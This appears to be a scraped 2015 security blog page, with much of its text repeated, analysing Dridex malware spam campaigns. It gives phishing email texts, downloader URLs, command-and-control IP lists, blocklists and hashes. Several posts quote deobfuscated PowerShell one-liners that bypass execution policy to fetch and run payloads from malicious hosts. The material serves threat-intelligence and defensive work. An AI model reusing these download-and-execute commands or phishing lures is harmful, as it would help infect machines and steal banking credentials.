A few years ago Digital Networks CJSC (DINETHOSTING) was hosting a significant amount of toxic crap in the 79.137.224.0/20 range (examples: [1] [2] [3] [4]). Although they still host a significant amount of crap, this particular range now looks almost clean and does have quite a few legitimate (mostly Russian) customers on it.
I ran an analysis on 1672 sites [csv] in this range and only two were tagged as malicious by Google and none by SURBL, which is actually less than I would expect on a sample of this size. I note that many sites have reputational problems at WOT which seem to be because of an expired Spamhaus listing (see this example).
If you've blocked this /20 then I suggest that it is reasonably safe to unblock, although I would regard other DINETHOSTING ranges with caution.
Showing posts with label DINETHOSTING. Show all posts
Showing posts with label DINETHOSTING. Show all posts
Tuesday, 14 April 2015
Digital Networks CJSC aka DINETHOSTING and 79.137.224.0/20
Labels:
DINETHOSTING,
Russia
Thursday, 9 April 2015
Malware spam: "Matthews, Tina [tina@royalcarson.com]" / "Credit card transaction" / "Royal Wholesale Electric"
This fake financial spam does not come from Royal Wholesale Electric but it is instead a simple forgery with a malicious attachment.
The document is currently undetected by AV vendors and contains a malicious macro [pastebin] which downloads a binary from:
http://onemindgroup.com/366/114
This is saved as %TEMP%\ittext1.5.exe and has a VirusTotal detection rate of 3/49. Automated analysis tools [1] [2] [3] [4] show traffic to the following IPs:
91.230.60.219 (Docker Ltd, Russia)
66.110.179.66 (Microtech Tel, US)
176.108.1.17 (Cadr-TV LLE TVRC, Ukraine)
202.44.54.5 (World Internetwork Corporation, Thailand)
87.236.215.103 (OneGbits, Lithuania)
128.199.203.165 (DigitalOcean Cloud, Singapore)
128.135.197.30 (University Of Chicago, US)
185.35.77.160 (Corgi Tech Limited, UK)
46.101.38.178 (Digital Ocean, UK)
95.163.121.51 (Digital Networks CJSC aka DINETHOSTING, Russia)
92.41.107.253 (Hutchison 3G, UK)
According to the Malwr report is also drops another variant of the downloader [VT 4/57] and a Dridex DLL [VT 4/57].
Recommended blocklist:
91.230.60.219
66.110.179.66
176.108.1.17
202.44.54.5
87.236.215.103
128.199.203.165
128.135.197.30
185.35.77.160
95.163.121.0/24
MD5s:
03ab12e578664290fa17a1a95abd71c4
48f39c245ec68bdbe6c0c93313bc8f74
90ebd79d1eac439c9c4ee1a056c9e879
62f33c7b850845cb66dcaa69e2af4443
From: Matthews, Tina [tina@royalcarson.com]Running in parallel to this is another claiming to be from UK firm AquaAid which has been going on for a long time. In the first case the attachment is 20150326094147512.doc and in the second it is CAR015890001.doc, but they are the same malicious document.
Date: 9 April 2015 at 10:48
Subject: Credit card transaction
Here is the credit card transaction that you requested.
Tina Matthews
Royal Wholesale Electric
2801 East 208th Street
Carson, CA 90810
310-637-6377 Phone
310-603-9883 Fax
tina@royalcarson.com
The document is currently undetected by AV vendors and contains a malicious macro [pastebin] which downloads a binary from:
http://onemindgroup.com/366/114
This is saved as %TEMP%\ittext1.5.exe and has a VirusTotal detection rate of 3/49. Automated analysis tools [1] [2] [3] [4] show traffic to the following IPs:
91.230.60.219 (Docker Ltd, Russia)
66.110.179.66 (Microtech Tel, US)
176.108.1.17 (Cadr-TV LLE TVRC, Ukraine)
202.44.54.5 (World Internetwork Corporation, Thailand)
87.236.215.103 (OneGbits, Lithuania)
128.199.203.165 (DigitalOcean Cloud, Singapore)
128.135.197.30 (University Of Chicago, US)
185.35.77.160 (Corgi Tech Limited, UK)
46.101.38.178 (Digital Ocean, UK)
95.163.121.51 (Digital Networks CJSC aka DINETHOSTING, Russia)
92.41.107.253 (Hutchison 3G, UK)
According to the Malwr report is also drops another variant of the downloader [VT 4/57] and a Dridex DLL [VT 4/57].
Recommended blocklist:
91.230.60.219
66.110.179.66
176.108.1.17
202.44.54.5
87.236.215.103
128.199.203.165
128.135.197.30
185.35.77.160
95.163.121.0/24
MD5s:
03ab12e578664290fa17a1a95abd71c4
48f39c245ec68bdbe6c0c93313bc8f74
90ebd79d1eac439c9c4ee1a056c9e879
62f33c7b850845cb66dcaa69e2af4443
Thursday, 2 April 2015
Malware spam: "Scanned document from HP/Brother/Epson Scanner [87654321]"
These fake scanner emails follow a well-established pattern. Instead of containing a scanned document they have a malicious attachment.
Now.. if you are reading this then you are probably not the sort of person who would open an unsolicited message of this sort. Would you?
I have seen three different malicious attachments with low detection rates [1] [2] [3] which appear to contain one of two macros [1] [2] which download a further component from one of the following locations:
http://93.158.117.163:8080/bz1gs9/kansp.jpg
http://78.47.87.131:8080/bz1gs9/kansp.jpg
Those servers are almost definitely malicious in other ways, the IPs are allocated to:
93.158.117.163 (Aitos Svenska / Port80 , Sweden)
78.47.87.131 (Hetzner, Germany)
This is then saved as %TEMP%\sdfsdffff.exe which has a VirusTotal detection rate of just 1/56. Automated analysis [1] [2] [3] indicates that it calls home to:
188.120.225.17 (TheFirst-RU, Russia)
92.63.88.83 (MWTV, Latvia)
121.50.43.175 (Tsukaeru.net, Japan)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
82.151.131.129 (Doruknet, Turkey)
46.19.143.151 (Private Layer Inc, Switzerland)
45.55.154.235 (Digital Ocean, US)
195.130.118.92 (University Of Ioannina, Greece)
199.201.121.169 (Synaptica, Canada)
95.211.168.10 (Leaseweb, Netherlands)
222.234.230.239 (Hanaro Telecom, Korea)
Although the automated tools indicate that no files were dropped, the payload for this is almost definitely Dridex.
Recommended blocklist:
188.120.225.17
92.63.88.0/24
121.50.43.175
95.163.121.0/24
82.151.131.129
46.19.143.151
45.55.154.235
195.130.118.92
199.201.121.169
95.211.168.10
222.234.230.239
93.158.117.163
78.47.87.131
MD5s:
96f3aa2402daf9093ef0b47943361231
cff4b8b7f9adf1f5964b495a8116d196
68fb9aadda63d18f1b085d5bd8815223
64fa6501bd4d32b2958922598008ca96
Now.. if you are reading this then you are probably not the sort of person who would open an unsolicited message of this sort. Would you?
From: Cindy Pate [Caroline.dfd@flexmail.eu]
Date: 2 April 2015 at 11:09
Subject: Scanned document from HP Scanner [66684798]
Reply to: HP-Scanner@flexmail.eu
Model:KX-240NGZDC
Location: 1st Floor Office
File Format: DOC (Medium)
Resolution: 300dpi x 300dpi
Attached file is scanned document in DOC format.
Use Microsoft Office Word of Microsoft Corporation to view the document.
----------
From: Sterling Hoffman [Lara.dc4@astroexports.com]
Date: 2 April 2015 at 11:00
Subject: Scanned document from Brother Scanner [07623989]
Reply to: Brother-Scanner@astroexports.com
Model:CG-240NWDUL
Location: 1st Floor Office
File Extension: DOC (Medium)
Resolution: 300dpi x 300dpi
Attached file is scanned document in DOC format.
Use Microsoft Office Word of Microsoft Corporation to view the document.
----------
From: Manuel Velez [Yesenia.10@acv.nl]
Date: 2 April 2015 at 12:04
Subject: Scanned document from Epson Scanner [81829722]
Reply to: Epson-Scanner@acv.nl
Model:JS-240NRZYV
Location: 1st Floor Office
File Format: DOC (Medium)
Resolution: 300dpi x 300dpi
Attached file is scanned document in DOC format.
Use Microsoft Office Word of Microsoft Corporation to view the document.
I have seen three different malicious attachments with low detection rates [1] [2] [3] which appear to contain one of two macros [1] [2] which download a further component from one of the following locations:
http://93.158.117.163:8080/bz1gs9/kansp.jpg
http://78.47.87.131:8080/bz1gs9/kansp.jpg
Those servers are almost definitely malicious in other ways, the IPs are allocated to:
93.158.117.163 (Aitos Svenska / Port80 , Sweden)
78.47.87.131 (Hetzner, Germany)
This is then saved as %TEMP%\sdfsdffff.exe which has a VirusTotal detection rate of just 1/56. Automated analysis [1] [2] [3] indicates that it calls home to:
188.120.225.17 (TheFirst-RU, Russia)
92.63.88.83 (MWTV, Latvia)
121.50.43.175 (Tsukaeru.net, Japan)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
82.151.131.129 (Doruknet, Turkey)
46.19.143.151 (Private Layer Inc, Switzerland)
45.55.154.235 (Digital Ocean, US)
195.130.118.92 (University Of Ioannina, Greece)
199.201.121.169 (Synaptica, Canada)
95.211.168.10 (Leaseweb, Netherlands)
222.234.230.239 (Hanaro Telecom, Korea)
Although the automated tools indicate that no files were dropped, the payload for this is almost definitely Dridex.
Recommended blocklist:
188.120.225.17
92.63.88.0/24
121.50.43.175
95.163.121.0/24
82.151.131.129
46.19.143.151
45.55.154.235
195.130.118.92
199.201.121.169
95.211.168.10
222.234.230.239
93.158.117.163
78.47.87.131
MD5s:
96f3aa2402daf9093ef0b47943361231
cff4b8b7f9adf1f5964b495a8116d196
68fb9aadda63d18f1b085d5bd8815223
64fa6501bd4d32b2958922598008ca96
Labels:
Canada,
DINETHOSTING,
DOC,
Dridex,
Greece,
Korea,
Latvia,
Leaseweb,
Malware,
Netherlands,
Russia,
Spam,
TheFirst-RU,
Turkey,
Viruses
Wednesday, 1 April 2015
Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment
This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.
Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]
Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO
Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC
Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.
When run (I don't recommend this!) it executes the following command:
This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:
188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)
It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.
Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151
Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]
Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO
Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC
Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.
When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.
This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:
188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)
It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.
Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151
Labels:
Canada,
DINETHOSTING,
Dridex,
Japan,
Latvia,
Malware,
OVH,
Russia,
Spam,
Switzerland,
TheFirst-RU,
VBScript,
Viruses
Thursday, 19 March 2015
Malware spam: "Aspiring Solicitors Debt Collection" has mystery XML attachment
This spam has a malicious attachment.
Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.
IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.
UPDATE:
This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:
There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".
In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.
A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:
193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)
"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)
Further analysis is pending.
Recommended blocklist:
193.26.217.199
91.226.93.51
91.227.18.76
176.31.28.244
95.163.121.0/24
87.236.215.105
31.160.233.212
Date: 19 March 2015 at 12:52Attached is a file with a random numerical name (e.g. 802186031.doc) which is in fact a malicious XML file that appears to drop the Dridex banking trojan. Indication are that this can run even with macros disabled. Each attachment has a unique MD5.
Subject: Aspiring Solicitors Debt Collection
Aspiring Solicitors
Ref : 195404544
Date : 02.10.2014
Dear Sir, Madam
Re: Our Client Bank of Scotland PLC
Account Number:77666612
Balance: 2,345.00
We are instructed by Bank of Scotland PLC in relation to the above matter.
You are required to pay the balance of GBP 2,345.00 in full within 7(seven) days from the date of this email to avoid Country Court proceedings being issued against you. Once proceedings have been issued, you will be liable for court fees and solicitors costs detailed below.
Court Fees GBP 245.00
Solicitors Costs GBP 750.00
Cheques or Postal Orders should be made payable to Bank of Scotland PLC and sent to the address in attachment below quoting the above account number.
We are instructed by our Client that they can accept payment by either Debit or Credit Card.If you wish to make a payment in this wa, then please contact us with your Card details. We will then pass these details on to our Client in order that they may process your agreed payment. Kindly note that any payment made will be shown on your Bank and/or Credit Card Statement as being made to Bank of Scotland PLC
If you have any queries regarding this matter or have a genuine reason for non payment, you should contact us within 7 days from the date of this email to avoid legal proceedings being issued against you, by filling the contact us form in attachment below.
Yours faithfully,
Shawn Ballard
Aspiring Solicitors
Department CCD, Box 449
Upper Ground Floor
1-5 Queens Road Quadrant
Brighton
BN1 3XJ
United Kingdom
Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.
IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.
UPDATE:
This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:
There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".
In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.
A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.199/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;FYI, those IPs are allocated as follows:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.226.93.51/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)
"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)
Further analysis is pending.
Recommended blocklist:
193.26.217.199
91.226.93.51
91.227.18.76
176.31.28.244
95.163.121.0/24
87.236.215.105
31.160.233.212
Wednesday, 18 March 2015
Malware spam: "December unpaid invoice notification"
This spam comes with no body text, but does come with a malicious attachment.
This Malwr report shows it downloading a DLL with an MD5 of a40e588e614e6a4c9253d261275288bf [VT 4/57] which is the same payload as found in this earlier spam run, along with another executable with an MD5 of 409397f092d3407f95be42903172cf06 which is not in the VirusTotal database. The report also shows the malware phoning home to the following IPs:
31.25.77.154 (Call U Communications, Palestine)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
188.165.5.194 (OVH, Ireland)
188.165.26.237 (OVH, Latvia)
115.241.60.56 (Reliance Communication, India)
46.19.143.151 (Private Layer INC, Switzerland)
Recommended blocklist:
31.25.77.154
95.163.121.0/24
188.165.5.194
188.165.26.237
115.241.60.56
46.19.143.151
176.31.28.244
From: Korey MackSo far I have only seen a single sample with an attached file called 11IDJ325.doc which is undetected by AV vendors. Inside is a malicious macro [pastebin] with an encrypted section that executes this:
Date: 18 March 2015 at 11:04
Subject: December unpaid invoice notification
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\huiUGI8t8dsF.cab'); expand %TEMP%\huiUGI8t8dsF.cab %TEMP%\huiUGI8t8dsF.exe; start %TEMP%\huiUGI8t8dsF.exe;Although the EXE file from 176.31.28.244 (OVH, France / Bitweb LLC, Russia) is downloaded as a CAB file and then EXPANDed to an EXE, there is in fact no file transformation happening at all (which is odd). This executable has a detection rate of 2/57.
This Malwr report shows it downloading a DLL with an MD5 of a40e588e614e6a4c9253d261275288bf [VT 4/57] which is the same payload as found in this earlier spam run, along with another executable with an MD5 of 409397f092d3407f95be42903172cf06 which is not in the VirusTotal database. The report also shows the malware phoning home to the following IPs:
31.25.77.154 (Call U Communications, Palestine)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
188.165.5.194 (OVH, Ireland)
188.165.26.237 (OVH, Latvia)
115.241.60.56 (Reliance Communication, India)
46.19.143.151 (Private Layer INC, Switzerland)
Recommended blocklist:
31.25.77.154
95.163.121.0/24
188.165.5.194
188.165.26.237
115.241.60.56
46.19.143.151
176.31.28.244
Malware spam: "Confirmation of Booking" / "NWN Media Ltd" / "Della Richardson"
This spam is not from NWN Media Ltd but is instead a simple forgery sent out to random email addresses with a malicious attachment. NWN Media are not responsible for this spam, nor have their systems been compromised.
http://pmmarkt.de/js/bin.exe
http://deosiibude.de/deosiibude.de/js/bin.exe
These are saved as %TEMP%\zakilom86.exe and %TEMP%\Pikadlo64.exe respectively. The binaries are actually identical and have a VirusTotal detection rate of 5/57. According to the Malwr report this binary attempts to communicate with the following IPs:
31.41.45.211 (Relink Ltd, Russaia)
109.234.159.250 (Selectel Ltd, Russia)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud / IT House, Russia)
95.163.121.200 (Digital Networks CSJC aka DINETHOSTING / Russia)
It then drops what appears to be another version of itself called edg1.exe onto the target system [VT 2/55] along with a malicious Dridex DLL [VT 3/55]
Recommended blocklist:
31.41.45.211
109.234.159.250
37.59.50.19
62.76.179.44
95.163.121.0/24
From: della.richards2124@nwn.co.uk [della.richards@nwn.co.uk]Attached is a file NWN Confirmation Letter.doc which I have so far seen in two different versions, both with low detection rates [1] [2] which contain slightly different malicious macros [1] [2] which then go and download a malicious binary from one of the following locations:
Date: 18 March 2015 at 08:34
Subject: Confirmation of Booking
This booking confirmation forms a binding contract between yourselves and NWN Media Ltd.
If you do not agree with any of the details above then please contact the named sales representative on the above number immediately.
Yours sincerely,
Della
NWN Media Ltd
http://pmmarkt.de/js/bin.exe
http://deosiibude.de/deosiibude.de/js/bin.exe
These are saved as %TEMP%\zakilom86.exe and %TEMP%\Pikadlo64.exe respectively. The binaries are actually identical and have a VirusTotal detection rate of 5/57. According to the Malwr report this binary attempts to communicate with the following IPs:
31.41.45.211 (Relink Ltd, Russaia)
109.234.159.250 (Selectel Ltd, Russia)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud / IT House, Russia)
95.163.121.200 (Digital Networks CSJC aka DINETHOSTING / Russia)
It then drops what appears to be another version of itself called edg1.exe onto the target system [VT 2/55] along with a malicious Dridex DLL [VT 3/55]
Recommended blocklist:
31.41.45.211
109.234.159.250
37.59.50.19
62.76.179.44
95.163.121.0/24
Friday, 13 March 2015
Malware spam: "Invoice (13\03\2015) for payment to COMPANY NAME"
There is a series of malware spams in progress in the following format:
Invoice (13\03\2015) for payment to JUPITER PRIMADONA GROWTH TRUST
Invoice (13\03\2015) for payment to CARD FACTORY PLC
Invoice (13\03\2015) for payment to CELTIC
Invoice (13\03\2015) for payment to MIRADA PLC
Note the use of the backslash in the date. There is an attachment in the format 1234XYZ.doc which I have seen three different variants of (although one of those was zero length), one of which was used in this spam run yesterday and one new one with zero detections which contains this malicious macro, which downloads another component from:
http://95.163.121.186/api/gbb1.exe
This is saved as %TEMP%\GHjkdfg.exe - incidentally, this server is wide open and is full of data and binaries relating to the Dridex campaign. Unsurprisingly, it is hosted on a Digital Networks CJSC aka DINETHOSTING IP address. This binary has a detection rate of 3/53 and the Malwr report shows it phoning home to 95.163.121.33 which is also in the same network neighbourhood.
The binary also drops a malicious Dridex DLL with a detection rate of 5/56. This is the same DLL as used in this spam run earlier today.
Recommended blocklist:
95.163.121.0/24
Invoice (13\03\2015) for payment to JUPITER PRIMADONA GROWTH TRUST
Invoice (13\03\2015) for payment to CARD FACTORY PLC
Invoice (13\03\2015) for payment to CELTIC
Invoice (13\03\2015) for payment to MIRADA PLC
Note the use of the backslash in the date. There is an attachment in the format 1234XYZ.doc which I have seen three different variants of (although one of those was zero length), one of which was used in this spam run yesterday and one new one with zero detections which contains this malicious macro, which downloads another component from:
http://95.163.121.186/api/gbb1.exe
This is saved as %TEMP%\GHjkdfg.exe - incidentally, this server is wide open and is full of data and binaries relating to the Dridex campaign. Unsurprisingly, it is hosted on a Digital Networks CJSC aka DINETHOSTING IP address. This binary has a detection rate of 3/53 and the Malwr report shows it phoning home to 95.163.121.33 which is also in the same network neighbourhood.
The binary also drops a malicious Dridex DLL with a detection rate of 5/56. This is the same DLL as used in this spam run earlier today.
Recommended blocklist:
95.163.121.0/24
Thursday, 12 March 2015
Malware spam: "Invoice [1234XYZ] for payment to COMPANY NAME"
These rather terse emails appear to refer to various companies, and all come with a malicious attachment:
The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:
https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe
Note the use of HTTPS. Those two IP addresses belong to:
92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)
Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.
Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24
From: Erasmo Small
Date: 12 March 2015 at 09:40
Subject: Invoice [3479XZM] for payment to INCOME & GROWTH VCT PLC(THE)
From: Eli Ramirez
Date: 12 March 2015 at 08:37
Subject: Invoice [4053FJK] for payment to RANDGOLD RESOURCES
From: Richard Baxter
Date: 12 March 2015 at 08:37
Subject: Invoice [3020JQM] for payment to TARSUS GROUP PLC
From: Megan Dennis
Date: 12 March 2015 at 09:36
Subject: Invoice [4706CEZ] for payment to SHANKS GROUP
The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:
https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe
Note the use of HTTPS. Those two IP addresses belong to:
92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)
Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.
Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24
Wednesday, 11 March 2015
Malware spam: "Voicemail Message (07813297716) From:07813297716"
When was the last time someone sent you a voice mail message by email? Never? There are no surprises to find that this spam email message has a malicious attachment.
http://wqg64j0ei.homepage.t-online.de/data/log.exe
http://cosmeticvet.su/conlib.php
This behaviour is very much like a Dridex downloader, a campaign that has mostly been using malicous macros rather than EXE-in-ZIP attacks.
The executable it drops has a detection rate of 2/54 and these Malwr reports [1] [2] show a further component download from:
http://muscleshop15.ru/js/jre.exe
http://test1.thienduongweb.com/js/jre.exe
This component has a detection rate of 5/57. According to the Malwr report for that we see (among other things) that it drops a DLL with a detection rate of 4/57 which is the same Dridex binary we've been seeing all day.
Piecing together the IP addresses found in those reports combined with some information from one of my intelligence feeds, we can see that the following IPs are involved in this activity:
31.41.45.211 (Relink Ltd, Russia)
62.213.67.115 (Caravan Telecom, Russia)
80.150.6.138 (Deutsche Telekom, Germany)
42.117.1.88 (FPT Telecom Company, Vietnam)
188.225.77.242 (TimeWeb Co. Ltd., Russia)
212.224.113.144 (First Colo GmbH, Germany)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud, Russia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
185.25.150.33 (NetDC.pl, Poland)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)
Recommended blocklist:
31.41.45.211
62.213.67.115
80.150.6.138
42.117.1.88
188.225.77.242
212.224.113.144
37.59.50.19
62.76.179.44
95.163.121.0/24
185.25.150.3
104.232.32.119
188.120.243.159
From: Voicemail admin@victimdomainThe attachment is a ZIP file containing a malicious EXE file called MSG00311.WAV.exe which has a VirusTotal detection rate of 5/57. According to the Malwr report, it pulls down another executable and some config files from:
Date: 11/03/2015 11:48
Subject: Voicemail Message (07813297716) From:07813297716
IP Office Voicemail redirected message
Attachment: MSG00311.WAV.ZIP
http://wqg64j0ei.homepage.t-online.de/data/log.exe
http://cosmeticvet.su/conlib.php
This behaviour is very much like a Dridex downloader, a campaign that has mostly been using malicous macros rather than EXE-in-ZIP attacks.
The executable it drops has a detection rate of 2/54 and these Malwr reports [1] [2] show a further component download from:
http://muscleshop15.ru/js/jre.exe
http://test1.thienduongweb.com/js/jre.exe
This component has a detection rate of 5/57. According to the Malwr report for that we see (among other things) that it drops a DLL with a detection rate of 4/57 which is the same Dridex binary we've been seeing all day.
Piecing together the IP addresses found in those reports combined with some information from one of my intelligence feeds, we can see that the following IPs are involved in this activity:
31.41.45.211 (Relink Ltd, Russia)
62.213.67.115 (Caravan Telecom, Russia)
80.150.6.138 (Deutsche Telekom, Germany)
42.117.1.88 (FPT Telecom Company, Vietnam)
188.225.77.242 (TimeWeb Co. Ltd., Russia)
212.224.113.144 (First Colo GmbH, Germany)
